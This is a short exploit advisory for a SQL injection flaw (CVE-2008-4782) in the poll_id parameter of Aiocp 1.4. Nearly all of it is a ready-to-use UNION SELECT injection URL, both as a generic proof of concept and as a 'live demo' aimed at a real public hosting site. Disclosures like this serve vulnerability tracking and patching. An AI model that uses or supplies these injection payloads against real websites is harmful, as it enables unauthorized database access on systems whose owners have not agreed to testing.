Topic:	Aiocp 1.4 (poll_id) Remote SQL Injection Vulnerability
Credit:	ExSploiters
Date:	2008.10.29
CWE:	CWE-89 (Show similar)
CVE:	CVE-2008-4782 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

###########################################
# Aiocp 1.4 Remote SQL Injection vulnerability
#
# Found by : ExSploiters
#
# Contact : exsploiters@gmail.com
#
# Download : http://sourceforge.net/project/showfiles.php?group_id=159137&package_id=178594&release_id=619157
###########################################

PoC :

http://[target]/[path]/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,
5,6--

L!ve Demo :

http://demo.opensourcecms.com/aiocp/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2
,version(),4,5,6--

Greetz :

no one =)